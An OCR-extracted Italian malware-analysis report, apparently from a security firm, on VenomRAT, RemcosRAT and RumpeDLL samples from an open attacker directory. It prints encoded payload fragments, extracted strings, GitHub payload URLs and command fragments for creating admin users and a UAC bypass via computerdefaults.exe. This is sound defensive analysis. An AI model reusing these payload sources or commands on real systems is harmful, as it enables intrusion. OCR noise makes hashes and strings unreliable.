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Elementi importanti dell’analisi

e Malware delivery recente (Gennaio e Febbraio 2024)

e Threats distribuiti in forma codificata Base64 + Text reversed

e Sviluppo .NET di VenomRAT

¢ Modulo Ransomware di VenomRAT

e Moduli di keylogging, clipboard logging

e Security tools evasion

e Browsers infostealers

e Windows Defender evasion e termination

e Malicious persistence

e Spam e-mail sending

e Anti-debugging e anti-dumping (e network monitoring evasion, nella fattispecie
WireShark)

e Sviluppo C++ di RemcosRAT

e RumpeDLL (libreria DLL di RATs execution)

e |P pubblico di malware delivery con porte e servizi critici esposti

e Ricompilazione di RemcosRAT nel Novembre 2023
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CONCLUSIONI ..ttt siset e sasee s st sssesssse st st b s s bbbttt 76
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Introduzione

Tra Gennaio e Febbraio 2024 sono stati individuati i seguenti caricamenti di configurations di
VenomRAT e RemcosRAT e la libreria di process killing RumpeDLL verso I'host 45. XX.XX.XX.

. )

2 B [ Indexof frat x |4

« O M A Mot securs 45,

m Import favorites For quick access, place your favorites here on the favorites bar. Manage favorites now
Index of /rat

Name Last modified Size Description

E] Codigolnject 1xt 2024-01-25 22:17 433

[¥) DllQueVaiNoClienttxt 2024-01-25 22:24 43K

[¥] RumpeDLL 2024-01-25 22:44 120K

D backup 2024-01-27 03:59

£y du 2024-02-07 22:22

new txt 2024-01-23 20:35 1.2M

rbackup txt 2024-01-26 00:00 644K

t%j remcos. txt 2024-01-25 20:24 644K

[E) venom_64 txt txt 2024-01-23 20:35 1.2M
Apache’2.4.38 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 43 Port 80

| files relativia VenomRAT e RemcosRAT sono in formato Reversed (testo al rovescio) + Base64.
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| venom.txt - Motepad - O x
File Edit Format View Help

llllI.I.llllllI.I.llllllI.I.lllllll.l.llllll.l.l.llllll.l.llllj
viwDIgogP SxmYtV2czFEduVGZuVGaclR2LBACIgAiIC
+8CIgACIgAiCioiT9U27ZhV3ZuFGbgACTgACTgAICIYGIXY2YJRONXQFNIVTOLY JIS4WIr9GV5V25]1Gb
IVHcgACIgACTgAICioiI9Umc IR3Y1RXaoNmeBI3bzNXZj9mcwBCIgACTgACTKICMUA] LwdiNigjbvl2e
YWindgACTgACTgAiCiIMHbYIHAU92Qt42bt12bD5y c39GZul 2VuQnZvN3byNiaNISP11NYuBCIgACIgACT
KIiMz4Wa3]SP1EXeBBCIgACIgACTIKkHdpRNb1RWS5xmYtV2czFGPgACIgACTKATes JWb1N3cBRnb1Rmb
1BXZkxDIgACIKATe SWZkSWIwVGZBACIKA jbv1GdhNWasBHch9CPgAiC
+M37ulGdeV2Uzd3bk5Wa39CPgACIgogP1IXY3FEaBFGUN52bs9CP1VNcB5j IzdmbpRHA1N1 c39GZul 2V
vYTMwIzLJ18Uve2b35Cdm92cv]3Yplml zFblh2Yz9y LeAHdBhmISMNnbs 1GegUmchdXQoRXYQdmbvwxGP
gACTgACIKAzczVmb1IXY3FUawR2L8I3bB1Imbvlkc 1BFIsIjVy9Gdp52bNIXZ0Q5jIzdmbpRHdIN1c39GE
ul2VWYTHMwIzL118Uve2bj5Cdm92cv]3YpimlzFiblh2Yz9y L 6AHABhMIOMnbs1GegM3c15WZyF2dB1Ge v

Windows (CRLF) Ln 1, Col 1238 100%
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Input + 0Oz 8 =
KMN JGAAADZCQTAAABOK LAAWA LACAACCEZAAANAB LKAAAMEY FEARACAN JGAAAQLYGEAAALAN JGAAAEZCAAAAZEW+HHEAAALAN )
GAAAQLIFEAAACANCAAWDVAQ2toAAALAKIQAAATE FqEEMgBAATAEIKAAANS2 BEAAACAOBAAZGOYEZGrEAAASQF+LEE EAAACAOC
AAADOYhCAAWCVAWCKAAAKMNIKAAATECCATAMYpACAEEXYFRLKAAABZI FWwBgAMINATs i JKAAATgCCAEE7YBHABWE CKAHABY S C
YB1CAAQAOYBCAEZOY JQRIY1iCAAACOAHABA cwBQAZINEtOAAAEAKWAHABAhCCU2KMOAAAZAKKAAAHZICAAQBOKFZ fOAAAYAK
FIRBTOAAAMWDKAAACECCAEADYpPAAAUAKZ EhCAAABOUEEFMhCAAWAYPAAATAKWBAASTIHCAAQKY FVLKAAABE IFWBAADINAAAL]
DAtBAAgCochCwBAABIXEAAQAAAQAQDWBWS BAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAALAAAALANASAAAAAABAAAU S TY ArA
TikBAAg3AAAADAQBKY CATYNYyAUAACAAAAZEAAAAAAAQYWAAALAAAAAAAAAAAAAAALASQOAALQAAAAAALAAAAAALAAALAUAALN
CAAADAKAAAAAMAAATIGD1INLABAAABAAAAAAAAAAANAAAAGDEBAAAWAAAAAGAAAAKMI AARWY YNNC UAGAAACAALAAAAAAAAAL
AAAAATAAALSQAAMAZAMAOEEVAAAABHXZ ©5CARAALAAAAAAAALSE AAAC CARAAAAAARAAAARACAAAT AAAAAAALALAAAAAALNAAL
AAAAAAAAAAALAALAAAAAAAAAAAAAALAAAALALAAALLAALAAAAAWAADAK ABAAAAAAAAAALALLALAAAAAAAKMIADATAAAAAXBED
ERPAAAAAAAAAAAAAAABAAAAAAAAEALAEAAAALAABAAABAAUTYATAAAAAALAZAAAEDADAAAALAAAAAGAAAAAAAALABAASALAAAA
EAAAABAAAAALAAAAAZAAADEMTAAAAALAADAAADIEAAATALEEAAADAAAAALAAAAAAGKOBBADEATAAQRQBAAAAAAAAATKBQDUUGE
v1GIT9ERg4WagaldyBSZiBCdvSmbhNGItFmen9mcwBy cphGVheMTBgbINnATtAAguT4AAAARASAAAAAAAAAAALALAAAAAALNALL
AAAAAAAMAAAAAALAAAALAAAQAAAALAAAAZL AAS/ [ ABAAEAAAAMAAQQVT

ac 1251328 = 1 TT Raw Bytes 4= LF

Output £ B0 m:

MZ ‘Iv__E'al-__‘lJLI\__E':'Th__‘lJLh__yy“'._'n_ . '-\_“'__\\_“L_'n_“'._'n_I@‘lJLh_.‘iJLh__‘lJLI\__‘{JLh__‘{JLI\__‘lJLh__‘lJLh_.‘{JLh__‘|JLI-__‘lJLI\__‘lJLh__‘lJLh__‘{JLI\__‘{JLI\_.‘{JLF_.‘!JL
wenuunuuLe nueionueso vs @sonoe . Il soulI1This program cannot be run in DOS mode. cz cr
$nuLnuLhuLNuLkuLNULRULPE vk L soH@nuLnuLB so suLnuL so nuLkuLvuLkuLNULKULN S S0 NULNUL - NULNULNU

N, HULNULNULNULKULNULKULNULANULST

NULNULAL S0 NULKULSTXNULNULNULNULNULNULSTXNUL  ® NULNULDLENULNULDLENULNULNULNUL

NULNULN ULKULI

DLENULN LNULKULNULNULNULDLENULKULNULNULNULNULNULNULNULNULNULD 5 utluNL R UL DL ® S D

NULNULKULNULKULNULKULNULNULNULNULNULKULNULNULNULNULNULNUL - S0 NUL FF NULNULNULNULKULNULKULNULNULNULKULNULNULNULNULNULKULNULNULNULKULKULKULNULKULNULNULNULNULNUL

NULNULKULHUL RULNULNULNULNULNULKULNULRULNULNULNULNULNULKULNULNULNUL - KULNUL BS NULNULNULNULNULNULNULKULNULKULNUL 85 KULNULHNULNULNULNULNULKULNULNULNULNULNUL

textuwdunuTAso L NULNULKULE S0 NULNULSTXNULNULNULNULNULNULNULNULNULNULNULNOLNULNDL  NULNUL & PSP CNULNULYUL®

KULNULNUL® S0 KULNUL ‘L.@I\..‘{JU@. relocnumu. e n S0 NULNULS S0 NULNULNULNULNUL
h__WJLh__WJLh_.WJLh..WJUEp' NULBNULKULNULK LHuLKULNULKULNULRULN LR ULaU kUL O so nucsuvuesuinucHo oo stowcenonu  EQ s UL y ® ENQNULETXNULNULKULD
wuLsuLackH o emenuLcanMe ULNULNULNULKULNULNULNULKULNULNULNULNULNULNULNULKULNULNULNULNULNULRULNU LRULNULNULNULNULNULKULNULRULNULES CBBEL
NULE)SOHNULNULSOHNULKULDCL P SOHNULNULD

ET;(
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4

File Edit Fermat View Help

SwEPswDC 7w/ 0cvDs7Q500tDV7Az0QoD76ws0sqDj6wmOEpDKG6ARDI oDBEAQOEND
+50QF0g0DNzAjMkKDoyQoMAKDFyAnMY IDSyg jMoIDGxgeMYHD 1 xAdMMHDYy xQcMAHDwxgbMsGDgxQaMgGD
nxgZMUGDkxwYMIGDexQXMBAAAWIAHABAAAEPkEDk+goPB5Db+0mP c5DW+A1PEADN+ALPYADE
+ggPEADASWTPA3D8%9wePk3D89gcPE2Dr90aPc2De9AXPolDZ9gUPo@D]19gAPozDy8gKPIyDa8gEPowDC
g
+0IvDq7g400tDS7gy01o0D66g500q0i6gm0IpDKEQi0IkDESgcOomDiswki0ol1DYS5AUOgkDAAAOOATDodA
I0ghDQAACOECD

+3g9N4ebm3g3NYdD03ghN4bD5 2wtNYbDe2gsNABDv2ApNIaDf 2gINIZDR2giNkYDD2ggNAUDS 1AeNYXD
plgZN4AVDb1AUNSUDI1ASNcUDF1wQNEQDS@gONKTDAgNNQTDYBQLNsSDmBAINMSDiBAINARD cBwFNURD
UBgENARDOBQDNYQDFzw /MsPDuzA7Mk0D1zAZMYNDT zwzMIMDAY QvMk LD sy ggMcKD] yg IMQIDRy QJMAED
+xweMcHDgxAaMUGDhxAVMIFDPxwCMADDEwQOMc DD 1wAKMYCD JwQIMSEDSwWAEMBADLWQCAAEAKAY A4AAA
A/A/Po/D3/w8PY+Dk/QAPBIDQ,/gzPs8DH /wgP47Dt+wqPgbDk+AoP s5DK
+Ai1PU4DBESAdPInDeSAWOY1DVSAVOALDPSwSOUKDDS gQOEKDAMWP 045 DE4A0Q00U i DvAQLOwiDr4gKOkiDo
AAJOMiDFAQGOChDWAQFOQhDT4wD0AgDKAABOIgDBAAWNETD+3g

+NkfD13w7/NBeDs3wbNceDm3gdNEeDd 3wlNUdDU3ABNocDI 3wxNYcDF3QghsbD62AtNIbDx2AsN8aDulg
qhkal12wnN@ZDc28mNc ZDT2Q9NsYDK2QiNUYDE2AQNoXDA1wdNYXD11QcNAXDs 1gZNQWDj 1gYNEWDA1A
KNgVD5S1AUNBUDO1gSNKkUDFEwPNBTDEw0NoTD2EQNNETDreQkNgSDnewINISDe@AGNYRDVEQENARDMEE
BNQQDDzw /MAPDAzwIMYPD1zABMA0DLAAQAgEgBQDOOYKDFAAAAMAEBADAAABDAAAAAMAZBWCADE D24Q
I0AiDF4gEOogDB3w
+MNofD23A8NIeDe3wlNYdDO3QzNwc DLAAAAWAEBQC gwYDL1ABNSWDq1QaNghDnlgZNMUDiI1QYNAWDf1g
XNVDcLwhNoVDZLAWNCVDWIQVNQVDT1gUNEVDQ1w THAUDNIATNsUDK1QSNgUDH1gRNUUDELWQNIUDB1A

ANSBTD
+BQPNwWTD78g0NKkTDAGWNNY TD1BANNMT Dy @QMAAAAZAY AcAMDI zAAMANDcz g 2MgNDWzATMINDQzgzMuMD
KzhyMYMDEzgwMAID v
Windows (CRLF) Ln 1. Col1 100%
Input + 0O E i b=

AABABARAAAAAAARARARAAAAAAAAAARAARAAAAAAAAAALARAARARAAAARALARAAAAAAARAAAARARAAAAAASAAARARAAAAAAAA
AAAAAAAARAALAARAAAAAAAAADAAARAAAAAAABAAAALAAAAAAAALALAAAAAAAAAAAAARAALAAAAAAAAALAAAAAAAABARAABRAARAA
AAAAAAAAAAAACBAAABAAAAAAAAALAAAAAAWBOBAAANDAACASAAAATWMAAM2 b SYMC UAEAAAE AAAAAAAAAAAAAAAAAHDAAAAAT
AAWBQCAAAS EEAAAAT I3y SCQAAAQAAAAAAAAAAAAAAAAACAAAAAAEAAAHATAAAEAWAAAZ RiJamdmL ADAAABAAAAAAAAAAAAAA
AASB+DAAAT AAACACAAAAAKAAAAAAZ XGAUAMAAAE AAAAAAAAAAAAAALAAGAPAAASDAAWBQAAALBF RAAAANRXYKSCQAAAQAAAA
AAAABAAAMAAAAUZdAAQAGBAAFAIAAEQe2CAARRXYKINLEBAAZAAAAAAAAAAAAAAAAAAAEAAAF THAAAAEAAQBXVHAAAACAVG
UAAAAAAAAAAAAAAAAAAANAAAAAAAALAAAAAAEWPAFATAAAAALAALAAAAAALQAYWBABAAAZBAGMNIAAAAAAAAALAALAALAAAL
AAAAAZDAGMNQAAWOMDWBEDAAAAAAAAAAAAAAAAAAAAAAAAWSQAWBQCAAAEABAY E70CAAAAAAAAAAAAAAQAAAAAAAAABAAABA
AAAAQAAAQAAAACAACAAAAAAAAQAAABATAAAAAAAABAQBAAAAAAQAAUAAATAAAAAEAAAQAAAAFATAAAAEAAWATIOAAAAAAT EF
AAQBYBAAOEWC BT AAZDAAAAAAAAAALNMEVBWBBWE AAUEUAAAAAAAAAAE TVFPTONWaSSX16HY fXTal+vt+hanKkiWpfvrPR/xNp
V6X173hfUrPI+Vt+54nRCmifVrvA/FNpNEX16rxfQTaj+vt+68n1k20fVrvI+IhW+6X16HI TRIYK+VE++43ImRpfvr/h+Z1iZ
UeX16P jTkYGl+Vt+g4X16DifVrPIts7mkBAAAAAAAAAIKBQDUUGZVIGITOERgAWagAdyBSZiBCdvSmbhNGItFmen9mewByc
phGVheMTBgbINnATA4gufAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAELAAS/ / AAAA

EAAAAMAAQQVT
s 659456 = 1 Tr Raw Bytes & LF
LR rm
Output A B r|:| M o
‘MZ 'r\__E';l\__‘|JLI\__EC'TT\__‘4JLr\__yjl-"1‘._\\_ , NULNULS N '._'n_I@‘ULT\__‘4JLT\__‘IJLI\_.‘|JLI\__‘4JLT\._‘4JLT\__‘IJLI\_.‘|JLI\__‘4JLT\._‘4JLI\__‘LJLI\_.‘|JLI\._‘4JLT\__‘4JLI\_.‘|JLI\_.‘|JL

KULHULNULNUL NULNUL 50 US @ soNuL soilI1This program cannot be run in DOS mode. crcr
FnuLuuLnu den- (0~ G0~ (0~ef$~300~e f&e G0nve ' > (0~) 0Qn ] (0~4Zocan " (10~ KO0 1 (10~ 0 Do sualiOn e Ko s7x
(0~) # F~800~ 0~ ¢s (i0~e 00 e DI~ e H*~ | (10~ tix e 1 G0~Rich GO~ !

KULANULSTXSOKVT SOH 50 NULNULIPENGNULK

uLUDC2C @NULKULMULRULNULRULNUL

ULSOHKULNULNULM
SOHNULKULNULNULNULNUL  BS K

1 NULNULNULNULNULKULNULNULNULNULNUL

wuLnuLkuLNULRULNULRuL OO ‘l._"._XO:CI‘HU@“L_'\‘_“ LIEOTNULNULNULNULNULNULNULKULNULKULNU LNULNULNULNULKULNULKULN

wucsuLkeenuivoesucnfe - Textufuumuuge

NULEOTHULKULNULKULNULKULNULKULAULNULNULNULNULKGL wuiwol” o Pdatanue 9y somuinuce
@l.,,\uu@. data‘uu,,\uLD] N

NULNULNULMULNULNULY u @ FelOCwm..i,

NELE ML 1AL LT LR AT RLEE NI KIS REEE ST KU NI KEL AL SETE REIE MU RE AL KL AT RISE ST KL NI KT A KEEE ST KL ML R KL T KEE MRS N AT R NIRRT KN N
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VenomRAT

Il sample di VenomRAT e stato sviluppato in .NET e possiede un coefficiente d'entropia
generale pari a 6.05.

D& Detect It Fasy v3.04 [Windows 10 Version 1808](x36_64) — O x
File name
C:/Users IEUser [Desktop/VenomRAT 1.exe

File type Entry point

Endianness
Automatic LE
* PE32
Library: NET(v4.0.30319)[-]

Compiler: VB.NET(-}[-]
Linker: Microsoft Linker(48.0)[GUI32]

|:| Deep scan |:| Recursive scan I:‘

Log

et
00000000

File name: C:/Users/IEUser/Desktop/VenomRAT1.exe
Size: 938496(9216.50 kB)

MD5: 1f205f0d6be487392972624474dbT66

SHRl: df77fdaZce233b4542000b3b2efe57a24884F587
Entropy: €.05135 (not packed

Operation system: Windows (95

Architecture: I386

Mode: 32-bit

Type: GUI

Endianess: LE

Entry point (Address): 004e&lde

Entry point (Cffset): 000e434e

Entry point (Relative address): 000e&l4e

Entry point (Bytes): ££2500204000000000000000000000000000000000000000
Entry point (Signature): ff25........ 000000000000000000000000000000000000
Entry point (Signature) (Rel): e e . A s e S s 2. s 25. ...

www.swascan.com | info@swascan.com
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All'interno delle stringhe estraibili abbiamo evidenza di Base64 encoding.

D Strings - O *

Filter

I anst + [ urre M unicode [l CStrings 5 =

Offset o= Size String
0003706 00000005
00037e0c 0000000G

00000010
00000008
00000019

value

Cl.exe
System.Threading
Encoding

S

Systemn.Runtime.Versioning

=

FromBase645tring
ToBaseb4String
ToString
GetString
GetFolderPath

0000000
00000003
00000009
0000000d
00000015
00000006
0000000b
00000014
00000014
00000006
00037ef1 00000011
00037f07 0000000b
0003713 0000000d
0003721 00000010
00037f32 00000005
0003733 0000000b
0003744 0000000d

System.ComponentModel
System

resourceMan
System.Configuration
System.Globalization
Action
System.Reflection
Culturelnfo
get_Startinfo
ProcessStartinfo
Sleep

DiskCleanup

> > > P> >>r>rP>P>PPPF>PEDP D

SoecialFolder

Qui un riferimento ai files di debugging e deployment Create.pdb e CU.pdb:

www.swascan.com | info@swascan.com
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D Strings

B Anst » [urre M vnicode [ CStrings 5 2

Offset o Size String
0003b449 00000025 $8a3e021c-8fdd-49cd-a%cd-4144bTdT017
0003b474 00000007 1.0.0.0
00030502 00000007 4.0.0.0
0003b55b 00000003 11.0.0.0
0003b66e 00000029 D:\CreateVenomUser\obj\Release\Create.pdb
0003bbce 00000000 _CorExeMain
0003b6da 00000000 mscoree.dll
00030944 00D00DD0F VS_VERSION_INFO
0003b9a0 00000000 VarFilelnfo
0003b9c0 00000000
0003b9ed 0000000
0003ba08 00000003
0003ba20 00000003
0003ba3c 00000000
0003babl 00D00DD0F
0003ba82 00D00DD0F
0003baa8 00000000
0003bac2 00000007
0003bad8 0000000
0003baf2 00000002
0003bb10 0000000
0003bbdd 00000006
0003bb38 00D00DD0E

Translation
StringFilelnfo
00000460
Comments
CompanyMame
FileDescription
CreateVenomUser
FileVersion
1.0.0.0
InternalMame
Create.exe
LegalCopyright
2020

LeaalTrademarks

C C C € £ € € €CC CCCCC Pk PEPDRDEDR B

D& Strings

M anst ~ [ utra M unicode [ CStrings 5 %

Offset ~ Size
0003bc5a 00000007
0003be39 00000000
0003c100 00000032
0003169 00000000
0003175 00000000
0003c25a 0000000f
0003c2b6 00000000
0003c2d6 00000000
0003c2fa 0000000
0003c31e 00000008
0003336 00000008
0003352
0003376
0003c3ab
000330
0003c3d6
000330
0003406
0003442
0003456
0003482
0003c4a4
0003cdba

String

=
-l
m

1.0.0.0
</assembly>
D:\CreateVenomUser\Uac-Executor\obj\Release\ CU.pdb
_CorExeMain
mscoree.dll
VS_VERSION_INFO
VELRIE
Translation
StringFilelnfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Cl.exe
LegalCopyright
2020
LegalTrademarks
OriginalFilename
Cl.exe
ProductMame

C C CCCCCCCCcCCcCCcCECCCcCCCkP>B>DRC

www.swascan.com | info@swascan.com
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I threat contiene due moduli distinti

di ransomware e di decifratura, quest'ultimo

denominato Venom Decryptor for Durios.

D& Strings

Filter

Offset ~
0003ebe2
0003e62
0003e6fa
0003e70a
0003712

0003749
0003e8c7
3eb52
0003eb85
0003eb95
0003ebcl
0003ec30
0003ecad
0003edde
0003eedb
00043838
00044255
0004454c
00044dac
000456a0
000458f6

N an

(0000000F
00000007
(0000000F
00000007
0000001 ¢
0000000
0000000
00000005
0000007

01b
00000000
00000025
00000007
00000007
00000003
0000000
00000006
00000005
00000006
00000007
00000006
00000007
00000007

> > > >PPPrPCcPE>PPFPPPCPPEPEDEDED R

> durs WU M cstrings 5 %
String

set_MaximizeBox

TextBox

InitializeArray

set_Key

Systemn.Security.Cryptography

get_Assembly

set_ReadOnly

Empty

Encryptor.Properties.Resources

OVenom Decryptor for Durios

Venom 2019

$0201£858-1c55-4cb2-9caa-870d4d07aeTc

1.0.0.0

4.0.0.0

11.0.00

Sthis.lcon

height

1"RZ0O

TOecgkO

OF _4e()

O#ledR

@UMukIO

*11ah

A seguire un riferimento al ransomware builder.

www.swascan.com | info@swascan.com

-




Swascan

TINEXTAGROUP

P& Strings

B Anst ~ [ utFs M Unicode [ CStrings 5 %

Offset - Size String
00044255 00000006 TOegkO
0004454 00000007 OF_de()
00044dac 00000006 O#JeOR
00045620 00000007 @UMuKIO
0004586 00000007 {*['an
00045d4b 00000005 hEUUDO
00048672 00000005 hOz&B
00060eed 000000de D:\Ransomware-Builder-v0.2d-...
00061023 00000000 _CorExeMain
0006102f 0000000 mscoree.dll
00065c45 00000005 1"RZO
00066662 00000006 TOegkO
00066959 00000007 OF_de()
000671b9 00000006 O#JeOR
00067aad 00000007 @UMuKIO
00067d03 00000007 {*['an
00068158 00000005 hEUUDO
0006aaTf 00000005 hOz&B
000832d7 000D000F VS_VERSION_INFO
00083333 00000000 VarFilelnfo
00083353 0000000k
00083377 0000000
0008339b 00000003

Translation
StringFilelnfo
000004b0

ccccecpPpPprPPPPDDPPPDDDDPDDD

Strings

B Anst = [ urrs M unicode [l C5trings 5 3

Offset ~ Size
000833c5 00000012
00083403 00000000
0008341d 00000012
0008345b 00D00DD0F
0008347d 00000012
000834bb 00000000
000834d5 00000007
000834eb 0000000
00083505 0000000d
00083527 0000000
0008355k 00000000
0008357b 00D00DD0F
000835a7 00000010
000835c9 0000000d
000835eb 00000000
00083605 00000012
00083643 0000000
00083661 00000007
00083677 00000010
00083699 00000007
00083d46 00000005
00083d6d 00000006
00083d95 00000007

String

=
-l
m

Venom Decryptor for Durios
CompanyMName

Venom Decryptor for Durios
FileDescription

Venom Decryptor for Durios
FileVersion

1.0.00

InternalName

Decryptor.exe
LegalCopyright

Venom 2019
LegalTrademarks
OriginalFilename
Decryptor.exe
ProductName

Venom Decryptor for Durios
ProductVersion

1.0.00

Assembly Version

1.0.00

dext

“rsrc

I I C C CC CCCCCCCCCCCCCCCC

@.reloc
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VenomRAT esegue queries con il fine di ottenere i dettagli relativi agli antivirus attivi e presenti
a bordo macchina.

D Strings - O *

Filter

B Anst ~ | [ utra M unicode M C Strings 5

Offset ~ Size String
000c38el 00000000 GetRawHosts
000c38ed 00000008
000c38f6 00000006
000c358fd 00000023
0003921 00000018
000c393a 00000020
000c395b 00000019
0003975 00000013
0003989 00000024
000c3%ae 000D0DOF
000c39be 00000005
000394 00000007
000c39cc 00000006
000c39d3 00000011
000c39e5 00000007

rawHosts

_hosts

Venom(C.Chaos.NAudio.Wave Wavelnputs
cacheCrossharVideolnputs
get_AvailableCrossbarVideolnputs
ColletCrossbharVideolnputs
crossbarVideolnputs
VenomC.Chaos.NAudio.Wave. WaveOutputs
RedirectOutputs

Focus

Metheus

Radius

SecurityAnonymous

> > > > P> >>P>PF P>l FDP D

Canopus

=

00c GetAntivirus
000c39fa 00000006
000c3al1 0000000a
000c3alc 0000000a
000c3a17 00000015
000c3a2d 0000000d
000c3a3b 00000012

000c3ade 00000012

Lyrrus

get_Status

set_Status
get_OperationalStatus
SetUserStatus
get_LastUserStatus

set LastUserStatus

> > > > P> P> b
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Strings
I8 string

Offset =
000ed1af
000ed1cd
000ed1d4
000ed1ff
000ed332
000ed33e
000eddab
000e4502
000ed522
000e4546
000ed56a
000ed582
000ed59%
000ed5c2
000ed5ed
000ed5fe
000ed618
000edb2e
000ed648
000ed6ba
000ed69e
000ed6b2
000ed6de

Size
00000008
0000000G
00000025
00000007
00000000
0000000b

0000000f
0000000b
00000000
0000000e

00000008
00000002
00000000

00D0DODOE

00000008
0000000b
00000007
00DD000C
0000000
0000000
00000006

0000000f

00000010

~ [ utrs M unicode [

String

VenomBin

$23a8008e-c41f-4003-bbaa- 179efbb225ef
2.8.0.1
_CorExeMain
mscoree.dll
WS_VERSIOMN_INFO
VarFilelnfo
Translation
StringFilelnfo
00000400
Comments
CompanyMName
FileDescription
VenomBin
FileVersion
2.8.0.1
InternalName
Venombin.exe
LegalCopyright
2021
LegalTrademarks

OriginalFilename

[l malware e stato compilato il 25 marzo 2021:
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ﬁ PE-bear v0.5.5.3 [C:\Users\IEUser\Desktop\VenomRAT 1.exe] — a x
File Settings View Compare Info
v [ VenomRAT1.exe E IR~ I I T
DOS Header 8
& DoS stub 0012 3 4 5 6 7 8 9 ABCDEF
w NT Headers ] 4D SR S0 00 03 00 00 00 04 00 00 00 FF FF 00 00 | [ 7
Signature 10 B2 00 00 00 00 00 00 00 0 00 00 00 00 00 oo | [ S
File Header 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | [

30 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 | |
40 0 B4 21 B8 01 4C CD 21 54 €8

Optional Header
Section Headers

~ Sections 50 €D 20 €3 €1
~ B tet €0 €9 € 20 44
=5 EP = E434E 70 OR 24 00 00 00 00 00 00 00
o e DOSHdr  FileHdr  Optional Hdr  Section Hdrs Imports Resources BaseRefbch
A reloc Offset Name Value Meaning
a4 Machine 14c Intel 386
86 Sections Count 3 3
88 Time Date Stamp 605cdell Thursday, 25.03.2021 08:4T:12 UTC
ac Ptrto Symbol Table 0 0
90 Num. of Symbols 0 0
94 Size of OptionalHeader &0 224
v 06 Characteristics 102
2 File is executable (i.e. no unresolved externel refere...
100 32 bit word machine.

VenomRAT exe

A seguire alcuni riferimenti a domini di geolocalizzazione dell'indirizzo IP ottenuto dalla
macchina e a diversi repositories GitHub utilizzabili per packing VMProtect, gestione del
protocollo di remote management VNC e disabilitazione di Microsoft Defender.
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indicator (78) detail level

[y

The file references string(s) type: blacklist, count: 7%

The file references a URL pattern url: 16.0.0,0

The file references a URL pattern url: 16.6.0,0

The file references a URL pattern url: 4.0.0.0

The file references a URL pattern url: 11.0.0,0

The file references a URL pattern url: 16.8.1.0

The file references a URL pattern url: 2.8.0.1

The file references file extensions like a Ransomware | Wiper count: 23

The file references a URL pattern url: https://geegle.com

The file references a URL pattern url: https://whatismyipaddress.com/update-location
The file references a URL pattern url: http://geocoder.ca/?locate=

The file references a URL pattern url: http://127.0,0.1:4040/ api/tunnels

The file references a URL pattern url: http://freegecip.net/xml/

The file references a URL pattern url: http://apiipify.org/

The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...

The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com,/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com/lisence-syste...
The file references a URL pattern url: https://raw.githubusercontent.com/lisence-syste...

The file references a URL pattern url: https://raw.githubusercontent.com/lisence-syste...
size: 3277 bytes

size: 3873 bytes

The file references a string with a suspicious size
The file references a string with a suspicious size

The file contains another file
The file contains another file
The file contains another file
The file contains another file
The file contains another file
The manifest identity has been found

url: 4,0.0.0
url: 11.0.0.0
url: 16.8.1.0
url: 2.8.0.1
count: 23

url: https://google.com

url: https://whatismyipaddress.com/update-location

url: http://geccoder.ca/Tlocate=
http://127.0.0.1:4040/api/tunnels
http://freegecip.net/xml/

http://api.ipify.org/

uri:

uri:

uri:

signature:
signature:
signature:
signature:
signature:

executable, location:
executable, location:
executable, location:
executable, location:
executable, location:

name: MyApplication.app

text, offset: OxDO036B...
text, offset: OxD003BC...
text, offset: OeD003CH...
text, offset: OxDO0B3B...
text, offset: OxD00BES..

ur

ur

ur

ur

ur

ur

ur

ur

ur

https://raw.githubusercontent.com/lisence-system, assemply/main/VNCExcludel,jpg
https://raw.githubusercontent.com/lisence-system/assemply/main/FinalVCM.jpg
https://raw.githubusercontent.com/lisence-system/assemply/main/adex.jpg
https://raw.githubusercontent.com/lisence-systemn/assemply/main/us.jpg
https://raw.githubusercontent.com/lisence-system,/assemply/main/ngrok-stable-windows-a...
https://raw.githubusercontent.com/lisence-system/assemply/main/Hideme.jpg
https://raw.githubusercontent.com/lisence-system,/assemply/main,/DisableDefender jpg
https://raw.githubusercontent.com/lisence-system/assemply/main/myMemery.jpg
https://raw.githubusercontent.com/lisence-system,/assemply/main/VMprotectEncrypt.jpg
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Vi sono diversi indicatori sospetti relativi a obfuscation, files management, registro di sistema,
passwords management, keyboard management (keystrokes e keyboard hooking).

detail level

type: obfuscation, count: 10
type: execution, count: 91
type: file, count: 20

type: registry, count: 14

type: cryptography, count: 30
type: dynamic-library, count: 8
type: hooking, count: 16
type: desktop, count: 12
type windowing, count: 30
type: network, count: 23
type: reckoning, count: &
type: security, count: 27

type: power, count: 2

type: input-ocutput, count: 14
type: memory, count: 18
type: storage, count: 4

type compression, count: 4
type: console, count: 2

type: synchronization, count: 2
type: dos-message, count: &
type: file, count: 154

type: utility, count: 142

type: registry, count: 31

type: url-pattern, count: 31
type: password, count: 10
type: function, count: 12
type: size, count: 19

type: format-string, count: 17
type: rtti, count: 1

type: keyboard, count: 3
type: query, count: 8

L N N N N L T T O I O L o o K R R WK B WK R W E N VS T W W E

Qui ulteriori dettagli in merito al PE:
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dynamic-link-library
debug-stripped

line-stripped-fram-file
lacal-symbals-stripped-fram-file
relocation-stripped
large-address-aware

uniprocessor
bytes-of-machine-words-reversed-Low
bytes-of-machine-words-reversed-Hi
media-run-from-swap

network-run-from-swap

property detail
size-of -optional-header 224 bytes
signature PECD
machine Intel
sections 3
pointer-symbol-table

number-of-symbols

processor-32bit true
system-image

executable true

Attraverso le stringhe estraibili si notano diversi riferimenti a decompressione di sezioni con il

comando UnZip, richieste POST, esecuzioni con diritti specifici mediante il comando runas,

creazione di utenze in gruppi locali di administration (comandi net), inizializzazione del

processo computerdefaults.exe (per effettuare UAC bypass), richiami di esecuzioni PowerShell,

esecuzioni di WireShark, gestione degli scheduled tasks.

hint (416)
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value (8821)

UnZip

stop
CreateObject
Post

windir

[/c net user

[/ net localgroup administrators
Create.exe

Create.exe

cmd.exe
[ start computerdefaults.exe
ngrok.exe

update.exe
Chrome

chrome

